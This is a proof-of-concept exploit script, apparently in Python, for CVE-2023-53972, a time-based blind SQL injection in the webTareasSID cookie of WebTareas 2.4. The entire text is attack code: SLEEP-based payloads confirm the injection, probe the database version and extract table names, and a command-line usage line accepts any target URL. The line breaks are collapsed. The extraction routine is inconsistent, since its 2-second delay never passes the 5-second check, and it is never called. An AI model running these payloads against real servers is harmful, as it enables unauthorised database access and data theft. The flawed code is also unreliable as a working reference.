CVE-2023-53972

import requests import sys import string import time # CVE-2023-53972 PoC - Time-based Blind SQL Injection # Target: WebTareas 2.4 webTareasSID cookie parameter def extract_data(target_url, sql_payload): """ Extract data using time-based blind SQL injection """ cookies = { 'webTareasSID': sql_payload } start_time = time.time() try: response = requests.get(target_url, cookies=cookies, timeout=30) elapsed = time.time() - start_time return elapsed > 5 # If response took >5 seconds, condition was true except: return False def get_version(target_url): """ Extract database version using time-based blind SQLi """ payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--" if extract_data(target_url, payload): print('[+] Database responds to time-based queries') # Example: Extract version version_payload = "1' AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='5') THEN SLEEP(5) ELSE 0 END)--" if extract_data(target_url, version_payload): print('[+] Database version starts with 5') def get_tables(target_url): """ Extract table names from database """ # This is a simplified example chars = string.ascii_lowercase + string.digits + '_' result = '' for pos in range(1, 30): for char in chars: payload = f"1' AND (SELECT CASE WHEN (SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),{pos},1)='{char}') THEN SLEEP(2) ELSE 0 END)--" if extract_data(target_url, payload): result += char print(f'[+] Extracted: {result}') break if not any(extract_data(target_url, f"1' AND (SELECT CASE WHEN (SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),{pos},1)='{c}') THEN SLEEP(2) ELSE 0 END)--") for c in chars): break return result if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com/webtareas/index.php') sys.exit(1) target = sys.argv[1] print(f'[*] Targeting: {target}') print(f'[*] Exploiting CVE-2023-53972: WebTareas SQL Injection') get_version(target)

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